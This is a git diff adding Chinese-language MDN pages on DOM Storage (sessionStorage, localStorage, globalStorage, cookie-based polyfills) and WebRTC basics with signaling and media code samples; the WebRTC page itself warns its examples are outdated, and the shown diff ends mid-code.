+ 注意:需要时刻注意的一点是,所有数据在被保存到下面将要介绍的任何一个存储器之前,都将通过它的 .toString 方法被转换成字符串。所以一个普通对象将会被存储为 "[object Object]",而不是对象本身或者它的 JSON 形式。使用浏览器自身提供的 JSON 解析和序列化方法来存取对象是比较好的,也是比较常见的方法。
+

+ sessionStorage

+

+ sessionStorage 是个全局对象,它维护着在页面会话(page session)期间有效的存储空间。只要浏览器开着,页面会话周期就会一直持续。当页面重新载入(reload)或者被恢复(restores)时,页面会话也是一直存在的。每在新标签或者新窗口中打开一个新页面,都会初始化一个新的会话。 

+
// 保存数据到当前会话的存储空间
+sessionStorage.setItem("username", "John");
+
+// 访问数据
+alert( "username = " + sessionStorage.getItem("username"));
+
+

+ 当浏览器被意外刷新的时候,一些临时数据应当被保存和恢复。sessionStorage 对象在处理这种情况的时候是最有用的。

+

+ {{ fx_minversion_note("3.5", "在Firefox 3.5之前的版本中,如果浏览器意外崩溃,则在重启后,sessionStorage中保存的数据不会被恢复.之后的版本中,会恢复上次崩溃前的sessionStorage数据.") }}

+

+ 例子:

+

+ 自动保存一个文本域中的内容,如果浏览器被意外刷新,则恢复该文本域中的内容,所以不会丢失任何输入的数据。

+
 // 获取到我们要循环保存的文本域
+ var field = document.getElementById("field");
+
+ // 查看是否有一个自动保存的值
+ // (只在浏览器被意外刷新时)
+ if ( sessionStorage.getItem("autosave")) {
+    // 恢复文本域中的内容
+    field.value = sessionStorage.getItem("autosave");
+ }
+
+ // 每隔一秒检查文本域中的内容
+ setInterval(function(){
+    // 并将文本域的值保存到session storage对象中
+    sessionStorage.setItem("autosave", field.value);
+ }, 1000);
+
+

+ 更多信息:

+ +

+ localStorage

+

+ localStorage is the same as sessionStorage with same same-origin rules applied but it is persistent. localStorage was introduced in Firefox 3.5.

+
+ 注意:当浏览器进入私人模式(private browsing mode,Google Chrome 上对应的应该是叫隐身模式)的时候,会创建一个新的、临时的、空的数据库,用以存储本地数据(local storage data)。当浏览器关闭时,里面的所有数据都将被丢弃。
+

+ 兼容性

+

+ 这些 Storage 对象最近刚被加入标准当中,所以并不是所有的浏览器都支持。如果你想在没有原生支持 localStorage 对象的浏览器中使用它,可以在你编写的 JavaScript 代码的首部插入下面两段代码中的任意一段。

+

+ This algorithm is an exact imitation of the localStorage object, but making use of cookies.

+
if (!window.localStorage) {
+  Object.defineProperty(window, "localStorage", new (function () {
+    var aKeys = [], oStorage = {};
+    Object.defineProperty(oStorage, "getItem", {
+      value: function (sKey) { return sKey ? this[sKey] : null; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "key", {
+      value: function (nKeyId) { return aKeys[nKeyId]; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "setItem", {
+      value: function (sKey, sValue) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=" + escape(sValue) + "; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "length", {
+      get: function () { return aKeys.length; },
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "removeItem", {
+      value: function (sKey) {
+        if(!sKey) { return; }
+        var sExpDate = new Date();
+        sExpDate.setDate(sExpDate.getDate() - 1);
+        document.cookie = escape(sKey) + "=; expires=" + sExpDate.toGMTString() + "; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    this.get = function () {
+      var iThisIndx;
+      for (var sKey in oStorage) {
+        iThisIndx = aKeys.indexOf(sKey);
+        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
+        else { aKeys.splice(iThisIndx, 1); }
+        delete oStorage[sKey];
+      }
+      for (aKeys; aKeys.length > 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
+      for (var iCouple, iKey, iCouplId = 0, aCouples = document.cookie.split(/\s*;\s*/); iCouplId < aCouples.length; iCouplId++) {
+        iCouple = aCouples[iCouplId].split(/\s*=\s*/);
+        if (iCouple.length > 1) {
+          oStorage[iKey = unescape(iCouple[0])] = unescape(iCouple[1]);
+          aKeys.push(iKey);
+        }
+      }
+      return oStorage;
+    };
+    this.configurable = false;
+    this.enumerable = true;
+  })());
+}
+
+
+ Note: The maximum size of data that can be saved is severely restricted by the use of cookies. With this algorithm, use the functions localStorage.setItem() and localStorage.removeItem() to add, change or remove a key. The use of methods localStorage.yourKey = yourValue; and delete localStorage.yourKey; to set or delete a key is not a secure way with this code. You can also change its name and use it only to manage a document's cookies regardless of the localStorage object.
+

+ Here is another, less exact, imitation of the localStorage object. It is simpler than the previous one, but it is compatible with old browsers, like Internet Explorer < 8. It also makes use of cookies.

+
if (!window.localStorage) {
+  window.localStorage = {
+    getItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
+      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
+    },
+    key: function (nKeyId) { return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]); },
+    setItem: function (sKey, sValue) {
+      if(!sKey) { return; }
+      document.cookie = escape(sKey) + "=" + escape(sValue) + "; path=/";
+      this.length = document.cookie.match(/\=/g).length;
+    },
+    length: 0,
+    removeItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
+      var sExpDate = new Date();
+      sExpDate.setDate(sExpDate.getDate() - 1);
+      document.cookie = escape(sKey) + "=; expires=" + sExpDate.toGMTString() + "; path=/";
+      this.length--;
+    },
+    hasOwnProperty: function (sKey) { return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie); }
+  };
+  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
+}
+
+
+ Note: The maximum size of data that can be saved is severely restricted by the use of cookies. With this algorithm, use the functions localStorage.getItem(), localStorage.setItem() and localStorage.removeItem() to get, add, change or remove a key. The use of method localStorage.yourKey in order to get, set or delete a key is not permitted with this code. You can also change its name and use it only to manage a document's cookies regardless of the localStorage object.
+
+ 与 globalStorage 的关系的兼容性
+

+ localStorage is also the same as globalStorage[location.hostname], with the exception of being scoped to an HTML5 origin (scheme + hostname + non-standard port) and localStorage being an instance of Storage as opposed to globalStorage[location.hostname] being an instance of StorageObsolete which is covered below. 例如,在 http://example.com 中不能访问 https://example.com 中的 localStorage 对象,但是它们都可以访问同一个 globalStorage。 localStorage 是个标准接口,但 globalStorage 是非标准的。所以你的代码最好不要依赖这些关系。

+

+ Please note that setting a property on globalStorage[location.hostname] does not set it on localStorage and extending Storage.prototype does not affect globalStorage items, only extending StorageObsolete.prototype does.

+

+ globalStorage

+

+ {{ Non-standard_header() }}{{ obsolete_header("13.0") }}globalStorage is obsolete since Gecko 1.9.1 (Firefox 3.5) and unsupported since Gecko 13 (Firefox 13). Just use {{ Anch("localStorage") }} instead. This proposed addition to HTML 5 has been removed from the HTML 5 specification in favor of <code>localStorage</code>, which is implemented in Firefox 3.5. This is a global object (globalStorage) that maintains multiple private storage areas that can be used to hold data over a long period of time (e.g. over multiple pages and browser sessions).

+
+ Note: globalStorage is not a Storage instance, but a StorageList instance containing StorageObsolete instances.
+
// Save data that only scripts on the mozilla.org domain can access
+globalStorage['mozilla.org'].setItem("snippet", "<b>Hello</b>, how are you?");
+
+

+ Specifically, the globalStorage object provides access to a number of different storage objects into which data can be stored. For example, if we were to build a web page that used globalStorage on this domain (developer.mozilla.org) we'd have the following storage object available to us:

+ +

+ 例子:

+

+ All of these examples require that you have a script inserted (with each of the following code) in every page that you want to see the result on.

+

+ Remember a user's username for the particular sub-domain that is being visited:

+
 globalStorage['developer.mozilla.org'].setItem("username", "John");
+
+

+ Keep track of the number of times that a user visits all pages of your domain:

+
 // parseInt must be used since all data is stored as a string
+ globalStorage['mozilla.org'].setItem("visits", parseInt(globalStorage['mozilla.org'].getItem("visits") || 0 ) + 1);
+
+

+ 存储位置以及清除数据

+

+ In Firefox the DOM storage data is stored in the webappsstore.sqlite file in the profile folder (there's also chromeappsstore.sqlite file used to store browser's own data, notably for the start page - about:home, but potentially for other internal pages with "about:" URLs).

+ +

+ See also clearing offline resources cache.

+

+ 更多信息

+ +

+ 例子

+ +

+ 浏览器兼容性

+

+ {{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Feature + Chrome + Firefox (Gecko) + Internet Explorer + Opera + Safari (WebKit)
+ localStorage + 4 + 3.5 + 8 + 10.50 + 4
+ sessionStorage + 5 + 2 + 8 + 10.50 + 4
+ globalStorage + {{ CompatNo() }} + 2-13 + {{ CompatNo() }} + {{ CompatNo() }} + {{ CompatNo() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
+ Feature + Android + Firefox Mobile (Gecko) + IE Phone + Opera Mobile + Safari Mobile
+ Basic support + {{ CompatUnknown() }} + {{ CompatUnknown() }} + {{ CompatUnknown() }} + {{ CompatUnknown() }} + {{ CompatUnknown() }}
+
+

+ All browsers have varying capacity levels for both local- and sessionStorage. Here is a detailed rundown of all the storage capacities for various browsers.

+

+  

+

+ 相关链接

+ +

+ {{ HTML5ArticleTOC() }}

+

+ {{ languages( { "es": "es/DOM/Almacenamiento", "fr": "fr/DOM/Storage", "ja": "ja/DOM/Storage", "pl": "pl/DOM/Storage", "en": "en/DOM/Storage" } ) }}

+

+ ---------------------------------

+

+  

+

+ 摘要

+

+ DOM Storage,就是在Web Applications 1.0 specification中介绍的那些存储相关特性集合的名称。相比较在cookies中存储信息来说,DOM Stroage更大、更安全、更易于使用的。目前支持的浏览器包括Mozilla Firefox 2+, Google Chrome, Apple Safari, Opera和Microsoft IE9+,在移动设备上也包括iPhone & iPad Safari。

+
+ Note: DOM Storage 与 mozStorage (Mozilla对于SQLite的XPCOM接口)和Session store API(扩展使用的一个XPCOM存储).不同
+

+ 描述

+

+ DOM Storage机制是一种通过字符串形式的名/值对来安全地存储和使用的方法。这个附加功能的目标是提供一个更全面的、可以创建交互式应用程序的方法(包括那些高级功能,例如可以离线工作一段时间)。

+

+ 目前,只有基于Mozilla的浏览器提供了DOM Storage的实现。不过,Internet Explorer也有一个类似的特性,叫做"userData behavior",他允许你在多重浏览器会话中永久地保存数据。

+

+ DOM Storage 是很有用的,因为在任何一段时期都没有一个很好的、只通过浏览器来永久存储合理大小的数据的方法。浏览器cookies 限制了存储容量,而且并没有为组织永久性的数据提供支持,并且其他的方法还需要外部插件来实现(例如Flash Local Storage)。

+

+ 第一个使用了新的DOM Storage功能(除了Internet Explorer 的 userData Behavior之外)的公共应用程序是由 Aaron Boodman 写的 halfnote(一个便签应用程序) 。在他的程序中,Aaron同时把便签内容保存到服务器上(当Internet连接可用时)和一个本地数据存储中。这就允许用户即便是在不定式发生internet连接中断时,也可以安全的写一些有备份的便签。

+

+ 不过,在halfnote中表现出来的概念和实现,都还是相对简单的。它的诞生揭示了一种新的、可以在线或离线使用的网络应用程序。

+

+ 参考

+

+ 下面的内容都是作为每个window 对象的属性存在的全局对象。这也就是说,可以通过sessionStorage 或者 window.sessionStorage 来访问它们。(这很重要,因为随后你可以使用iframe来存储、访问、添加那些并不是立刻就包含在你页面中的数据。)

+

+ sessionStorage

+

+ 这是一个全局对象(sessionStorage),它含有一个在页面会话有效期内可用的存储区域。只要页面没有关闭,一个页面会话就始终保持着,并且当页面被重新载入或恢复时“复活”。打开一个新的标签页或新窗口都会初始化新的会话。

+
// 将数据存入当前会话的一个存储中
+sessionStorage.username = "John";
+
+// 访问某些已存储的数据
+alert( "username = " + sessionStorage.username );
+
+

+ sessionStorage 对象是最有用的,它持有那些应该保存的临时数据,而且一旦浏览器突然被刷新时,要恢复的那些数据,

+
+ Note: sessionStorage 还应该有在浏览器崩溃后存储和恢复数据的功能,不过由于{{ Bug(339445) }}的原因,这个功能到现在还没有在Firefox中实现。这个功能实现之后,sessionStorage的防御功能就十分有用了。
+

+ 举例:

+

+ 自动保存文本字段的内容,如果浏览器突然被刷新,就恢复字段内容,这样就不会丢失任何输入了。

+
 // 获得我们要跟踪的那个文本字段
+ var field = document.getElementById("field");
+
+ // 看看我们是否有一个autosave的值
+ // (这将只会在页面被突然刷新时发生)
+ if ( sessionStorage.autosave ) {
+     // 恢复文本字段中的内容
+     field.value = sessionStorage.autosave;
+ }
+
+ // 每秒钟检查一次文本字段的内容
+ setInterval(function(){
+     // 并把结果保存到会话存储对象中
+     sessionStorage.autosave = field.value;
+ }, 1000);
+
+

+ 更多信息:

+ +

+ globalStorage

+

+ 这是一个全局对象(globalStorage),它维护着各种公共的或者私有的,可以用来长时期保存数据的存储空间(例如,在多重的页面和浏览器会话之间)。

+
// 可以这样访问那些仅对mozilla.org域上的脚本保存的数据
+globalStorage['mozilla.org'].snippet = "<b>Hello</b>, how are you?";
+
+// 可以这样访问为任何网页任何域存储的数据
+globalStorage[''].favBrowser = "Firefox";
+
+

+ 特别地,globalStorage对象,提供了访问一些不同的可以保存数据的存储对象的方法。例如,如果我们要建立一个可以在域(developer.mozilla.org)下面可以使用globalStorage的网页,我们有下面这些存储对象可以使用:

+ +
+ 注意: firefox目前还没有实现globalStorage{{ mediawiki.external('tld') }}globalStorage{{ mediawiki.external('') }} (会抛出一个安全错误),这是由于对于这些名字空间可以进行随意读写的话是有安全漏洞的 更多信息
+

+ 示例:

+

+ 下面这些示例,需要你在所有想看到效果的页面中都插入脚本(包括如下所有的代码)。

+

+ 记录某个指定子域名下面正在访问的用户的username:

+
 globalStorage['developer.mozilla.org'].username = "John";
+
+

+ 跟踪一个用户在你的域名下所访问的所有页面的次数:

+
 // 由于所有数据都是被当作一个字符串来保存的,所以这里必须使用parseInt
+ globalStorage['mozilla.org'].visits =
+     parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1;
+
+

+ 记录所有你访问的网站:

+
 globalStorage[''].sites += "," + location.hostname;
+
+

+ 更多信息:

+ +

+ More information

+ +

+ Examples

+ + + diff --git a/files/zh-cn/conflicting/web/api/webrtc_api/index.html b/files/zh-cn/conflicting/web/api/webrtc_api/index.html new file mode 100644 index 0000000000..da693553b8 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/webrtc_api/index.html @@ -0,0 +1,23 @@ +--- +title: WebRTC API overview +slug: Web/API/WebRTC_API/Overview +translation_of: Web/API/WebRTC_API#WebRTC_concepts_and_usage +translation_of_original: Web/API/WebRTC_API/Overview +--- +

{{WebRTCSidebar}}

+ +

WebRTC是由一些关联的API和协议一起协作,支持两个或多个终端之间交换数据和媒体信息的技术。这篇文章提供了这些APIs的介绍和提供的功能。

+ +

RTCPeerConnection

+ +

在媒体能够交换,或者数据通道建立之前,你需要把两个终端连接起来。这个连接过程的完成就是使用{{domxref("RTCPeerConnection")}} 接口。

+ +

MediaStream

+ +

{{domxref("MediaStream")}}接口描述了终端之间传输的媒体流。这个流由一个或多个媒体通道信息;通常这是一个音频通道或者视频通道信息。一个媒体流能够传输实时的媒体(例如音频通话或者视频会议等)或者已存的媒体(例如网上电影)。

+ +

RTCDataChannel

+ +

WebRTC支持在建立连接的两个终端之间相互的传输二进制数据。这个过程通过{{domxref("RTCDataChannel")}}接口。

+ +

这个接口可以作为数据的反向通道,甚至作为主要的数据通道去交换各种数据。例如在游戏应用中,通过这个接口可以实现多玩家支持,相互传送玩家的动作更新之类的数据。

diff --git a/files/zh-cn/conflicting/web/api/webrtc_api/protocols/index.html b/files/zh-cn/conflicting/web/api/webrtc_api/protocols/index.html new file mode 100644 index 0000000000..5f37d83529 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/webrtc_api/protocols/index.html @@ -0,0 +1,18 @@ +--- +title: WebRTC 架构概览 +slug: Web/API/WebRTC_API/Architecture +tags: + - WebRTC 架构概览 +translation_of: Web/API/WebRTC_API/Protocols +translation_of_original: Web/API/WebRTC_API/Architecture +--- +

{{WebRTCSidebar}}

+ +

用来创建WebRTC连接的API底层使用了一系列的网络协议和连接标准。这篇文章涵盖了这些标准。

+ +

为了让WebRTC正常工作,需要的协议、标准和API比较繁多。因此对于初学者来说可能会比较难以理解。当你一旦上手,你会惊喜地发现原来这一切都是如此的优雅和简单易懂。至于你信不信,反正我是信了。

+ + + + +

重定向 WebRTC 协议介绍

diff --git a/files/zh-cn/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/zh-cn/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html new file mode 100644 index 0000000000..67464bdbd1 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -0,0 +1,263 @@ +--- +title: WebRTC basics +slug: Web/API/WebRTC_API/WebRTC_basics +translation_of: Web/API/WebRTC_API/Signaling_and_video_calling +translation_of_original: Web/API/WebRTC_API/WebRTC_basics +--- +

{{WebRTCSidebar}}

+ +
+

当你理解 WebRTC 架构之后, 你就可以阅读本篇文章了。本篇文章将带领你贯穿整个跨浏览器 RTC 应用的创建过程。到本章结束的时候,你就拥有了一个可以运行的点对点的数据通道和媒体通道。

+
+ +
+

本页的案例过期了! 不要再尝试他们了。

+
+ +

注意

+ +

由于近期 API 做了一些修改,一些比较老的案例需要修复,暂时不可用。

+ + + +

当前可以正常工作的的案例是:

+ + + +

正确的实现方式或许可以从标准中推断出来。

+ +

本页包含的其余的过期的信息,在 bugzilla

+ +

Shims

+ +

就像你想的那样,这样前卫的 API 肯定需要浏览器前缀才可以,然后再将它转换成通用的变量。

+ +
var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
+var IceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
+var SessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
+navigator.getUserMedia = navigator.getUserMedia || navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
+ +

RTCPeerConnection

+ +

这是使用 peer 创建连接的起始点。它接收一个配置选项,其中配置了用来创建连接的 ICE 服务器信息。

+ +
var pc = new RTCPeerConnection(configuration);
+ +

RTCConfiguration

+ +

 {{domxref("RTCConfiguration")}} 对象包含了一些信息,这些信息是关于用来做 ICE 的 TURN 和 / 或 STUN 服务器的。这是用来确保大多数用户可以避免因 NAT 和防火墙导致的无法建立连接。

+ +
var configuration = {
+    iceServers: [
+        {urls: "stun:23.21.150.121"},
+        {urls: "stun:stun.l.google.com:19302"},
+        {urls: "turn:numb.viagenie.ca", credential: "webrtcdemo", username: "louis%40mozilla.com"}
+    ]
+}
+ +

Google 运行了一个我们可以使用的公共 STUN 服务器。我也在 http://numb.viagenie.ca/ 创建了一个免费的可以访问 TURN 服务器的账户。可能你也想这么做,你只要替换到你自己的许可证书就可以了。

+ + + +

ICECandidate

+ + + +

创建好 PeerConnection 并传入可用的 STUNTURN 之后,当 ICE 框架找到可以使用 Peer 创建连接的 “候选者”,会立即触发一个事件(onicecandidate)。这些 “候选者” 就是 ICECandidate, 而且他们会在 PeerConnection#onicecandidate 事件中执行一个回调函数。

+ +
pc.onicecandidate = function (e) {
+    // candidate exists in e.candidate
+    if (!e.candidate) return;
+    send("icecandidate", JSON.stringify(e.candidate));
+};
+ +

回调函数执行之后,我们必须使用信令通道 (signal channel) 将候选发送到其他的点。在 Chrome 中,ICE 框架一般会找到重复的候选者,所以,我一般只发送第一个,然后将处理函数删除。Firfox 中将候选者包含在了 Offer SDP 中。

+ +

Signal Channel

+ +

现在我们有了 ICE 候选,然后需要将它发送到我们的另一端,以让它知道如何跟我们建立连接。然而,现在有一个先有鸡还是先有蛋的问题。我们想要 PeerConnection 发送数据到另一端,但是在那之前我们需要先把元数据发送过去……

+ +

现在就是用到信令通道(Signal Channel)的时候了。它的任何一个数据传输方法都允许两个端点之间交换信息。在本文中,我们将使用 FireBase。因为它设置起来灰常简单,并且不需要任何主机或者服务器端的代码编写。

+ +

现在我们想象只有两个两个方法:send(), 它将使用一个键,然后将数据赋值给它;recv() ,当一个键有值的时候会调用一个处理函数。

+ +

数据库的结构就像下面这样:

+ +
{
+    "": {
+        "candidate:": …
+        "offer": …
+        "answer": …
+    }
+}
+ +

连接会被 roomId 分割,然后会保存四条信息:发起者 (oferer) 的 ICE 候选、应答者 (answerer) 的 ICE 候选、offer SDP 和 answer SDP.

+ +

Offer

+ +

Offer SDP 是用来向另一端描述期望格式(视频, 格式, 解编码, 加密, 解析度, 尺寸 等等)的元数据。

+ +

一次信息的交换需要从一端拿到 offer,然后另外一端接受这个 offer 然后返回一个 answer。

+ +
pc.createOffer(function (offer) {
+    pc.setLocalDescription(offer, function() {
+        send("offer", JSON.stringify(pc.localDescription));
+    }, errorHandler);
+}, errorHandler, options);
+ +

errorHandler

+ +

创建 offer 的过程如果出现问题,就会执行这个函数,并且将错误的详细信息作为第一个参数。

+ +
var errorHandler = function (err) {
+    console.error(err);
+};
+ +

options

+ +

Offer SDP 的选项.

+ +
var options = {
+    offerToReceiveAudio: true,
+    offerToReceiveVideo: true
+};
+ +

offerToReceiveAudio/Video 告诉另一端,你想接收视频还是音频。对于 DataChannel 来说,这些是不需要的。

+ +

offer 创建好之后,我们必须将本地 SDP 设置进去,然后通过信令通道将它发送到另一端,之久就静静地等待另一端的 Answer SDP 吧.

+ +

Answer

+ +

Answer SDP 跟 offer 是差不多的,只不过它是作为相应的。有点像接电话一样。我们只能在接收到 offer 的时候创建一次 Answer.

+ +
recv("offer", function (offer) {
+    offer = new SessionDescription(JSON.parse(offer))
+    pc.setRemoteDescription(offer);
+
+    pc.createAnswer(function (answer) {
+        pc.setLocalDescription(answer, function() {
+            send("answer", JSON.stringify(pc.localDescription));
+        }, errorHandler);
+    }, errorHandler);
+});
+ +

DataChannel

+ +

我将首先阐述如何将 PeerConnection 用在 DataChannels API 上,并且如何在 peers 之间传输任意数据。

+ +

注意:撰写这篇文章的时候,DataChannels 在 Chrome 和 Firefox 之间是无法互用的。Chrome 支持了一个类似的私有协议,这个协议将在不久被标准协议支持。

+ +
var channel = pc.createDataChannel(channelName, channelOptions);
+ +

offer 的创建者和 channel 的创建者应该是同一个 peer。 answer 的创建者将在 PeerConnection 的 ondatachannel 回调中接收到 这个 channel。你必须在创建了这个 offer 之后立即调用 createDataChannel()。

+ +

channelName

+ +

这个字符串会作为 channel 名字的标签。注意:确保你 Channel 的名字中没有空格,否则在 Chrome 中调用 createAnswer() 将会失败。

+ +

channelOptions

+ +
var channelOptions = {};
+ +

当前 Chrome 还不支持这些选项,所以你可以将这些选项留空。检查 RFC 以获取更多关于这些选项的信息。

+ +

Channel 事件和方法

+ +

onopen

+ +

当连接建立的时候会被执行。

+ +

onerror

+ +

连接创建出错时执行。第一个参数是一个 error 对象。

+ +
channel.onerror = function (err) {
+    console.error("Channel Error:", err);
+};
+ +

onmessage

+ +
channel.onmessage = function (e) {
+    console.log("Got message:", e.data);
+}
+ +

这是连接的核心。当你接收到消息的时候,这个方法会执行。第一个参数是一个包含了数据、接收时间和其它信息的 event 对象。

+ +

onclose

+ +

当连接关闭的时候执行。

+ +

绑定事件

+ +

如果你是这个 channel 的创建者(offerer), 你可以直接在通过 createChannel 创建的 DataChannel 上绑定事件。如果你是 answerer 你必须使用 PeerConnection 的 ondatachannel 回调去访问这个 channel。

+ +
pc.ondatachannel = function (e) {
+    e.channel.onmessage = function () { … };
+};
+ +

这个 channel 可以在传递到回调函数中的 event 对象中以 e.channel 的方式访问。

+ +

send()

+ +
channel.send("Hi Peer!");
+ +

这个方法允许你直接传递数据到 peer!令人惊奇。你必须传递确保传递的数据是 String, Blob, ArrayBuffer 或者 ArrayBufferView 中的一种类型,所以,确保字符串化对象。

+ +

close()

+ +

在连接应该中止的时候关闭 channel。推荐在页面卸载的时候调用。

+ +

Media

+ +

现在我们将会涉及到如何传递诸如音视频的媒体的话题。要显示音视频,你必须在文档中加入包含 autoplay 属性的  <video> 标签。

+ +

Get User Media

+ +
<video id="preview" autoplay></video>
+
+var video = document.getElementById("preview");
+navigator.getUserMedia(constraints, function (stream) {
+    video.src = URL.createObjectURL(stream);
+}, errorHandler);
+ +

constraints

+ +

约定你想从用户获取到的媒体类型。

+ +
var constraints = {
+    video: true,
+    audio: true
+};
+ +

如果你只想进行音频聊天,移除 video 成员。

+ +

errorHandler

+ +

当返回请求的媒体错误时被调用

+ +

Media Events and Methods

+ +

addStream

+ +

将从 getUserMedia 返回的流加入 PeerConnection。

+ +
pc.addStream(stream);
+ +

onaddstream

+ +
<video id="otherPeer" autoplay></video>
+
+var otherPeer = document.getElementById("otherPeer");
+pc.onaddstream = function (e) {
+    otherPeer.src = URL.createObjectURL(e.stream);
+};
+ +

当连接建立并且其它的 peer 通过 addStream 将流加入到了连接中时会被调用。你需要另外的 <video> 标签去显示其它 peer 的媒体。

+ +

第一个参数是包含了其它 peer 流媒体的 event 对象。

diff --git a/files/zh-cn/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html b/files/zh-cn/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html new file mode 100644 index 0000000000..75330b8894 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html @@ -0,0 +1,76 @@ +--- +title: WebRTC +slug: WebRTC +translation_of: Web/API/WebRTC_API +translation_of_original: WebRTC +--- +

WebRTC中的RTC是实时通信的简称,这是一种支持在浏览器客户端之间语音/视频交流和数据分享的技术。WebRTC作为一项标准,使得所有浏览器无需安装插件或第三方软件,就可以点对点地分享应用数据和进行电话会议。

+ +

WebRTC组件是通过JavaScript APIs获得的。目前正在开发中的APIs包括:网络流API(能够提供音频和视频),点对点连接API(允许两个或更多用户通过浏览器进行联系)。同样在开发中的还有数据API,能够让浏览器在实时游戏,文字聊天,文件传输和其他应用中与其他类型数据进行交流。

+ + + + + + + + +
+

关于Webrtc的文档

+ +
+
介绍WebRTC
+
关于什么是WebRTC以及它是如何工作的一个介绍性指南。
+
使用网络流 API
+
使用网络流API传输音频和视频的指南。
+
使用网络流API
+
指导如何使用网络流API创建音频流和视频流。
+
运用WebRTC进行点对点通信
+
如何使用 WebRTC 的API进行对等通信。
+
使用WebRTC进行点对点通信
+
如何使用WebRTC APTs进行点对点通信交流的指导。
+
从网络相机获取图像
+
介绍 WebRTC 是什么并如何工作。
+
从网络摄像头获得图像
+
介绍如何利用 WebRTC 通过网络摄像头获得图像。
+
MediaStream API
+
这个API支持媒体流对象的生成和操作。
+
多媒体API
+
这个API支持通用多媒体对象。
+
getUserMedia()
+
这个函数能获取系统媒体设备。
+
+ +

查看全部...

+
+

从社区获取帮助

+ +

 

+ +

在开发利用WebRTC技术的网站和Web应用程序时,与其他人进行对话可能会很有用。

+ +
    +
  • 咨询媒体主题论坛: {{ DiscussionList("dev-media", "mozilla.dev.media") }}
  • +
+ +
    +
  • Mozilla's Media IRC 通道提出你的问题: #media
  • +
+ +

不要忘记网络礼节...

+ + + + + + +

相关资源

+ +
    +
  • {{spec("http://www.w3.org/TR/webrtc/", "WebRTC specification", "wd")}}
  • +
+
+ +

 

diff --git a/files/zh-cn/conflicting/web/api/window/localstorage/index.html b/files/zh-cn/conflicting/web/api/window/localstorage/index.html new file mode 100644 index 0000000000..46384c660e --- /dev/null +++ b/files/zh-cn/conflicting/web/api/window/localstorage/index.html @@ -0,0 +1,136 @@ +--- +title: LocalStorage +slug: Web/API/Storage/LocalStorage +tags: + - 存储API + - 离线 +translation_of: Web/API/Window/localStorage +translation_of_original: Web/API/Web_Storage_API/Local_storage +--- +

localStorage 与 sessionStorage 一样,都遵循同源策略,但是它是持续存在的。localStorage 首次出现于 Firefox 3.5。

+ +
Note: 当浏览器进入隐私浏览模式,会创建一个新的、临时的数据库来存储local storage的数据;当关闭隐私浏览模式时,该数据库将被清空并丢弃。
+ +
// Save data to the current local store
+localStorage.setItem("username", "John");
+
+// Access some stored data
+alert( "username = " + localStorage.getItem("username"));
+ +

本地存储(localStorage)的持续存在对许多事情都有帮助,包括这个示例this tutorial on Codepen所演示的记录页面查看次数。

+ +

兼容性

+ +

Storage 对象最近才加入标准,因此可能并不被所有浏览器支持。你可以通过在你的scripts代码前加入以下两段代码中某一段来规避在不能原生支持的执行环境使用localStorage对象的问题。

+ +

该算法借助于cookies,对localStorage对象进行了严谨的实现。

+ +
if (!window.localStorage) {
+  Object.defineProperty(window, "localStorage", new (function () {
+    var aKeys = [], oStorage = {};
+    Object.defineProperty(oStorage, "getItem", {
+      value: function (sKey) { return sKey ? this[sKey] : null; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "key", {
+      value: function (nKeyId) { return aKeys[nKeyId]; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "setItem", {
+      value: function (sKey, sValue) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "length", {
+      get: function () { return aKeys.length; },
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "removeItem", {
+      value: function (sKey) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    this.get = function () {
+      var iThisIndx;
+      for (var sKey in oStorage) {
+        iThisIndx = aKeys.indexOf(sKey);
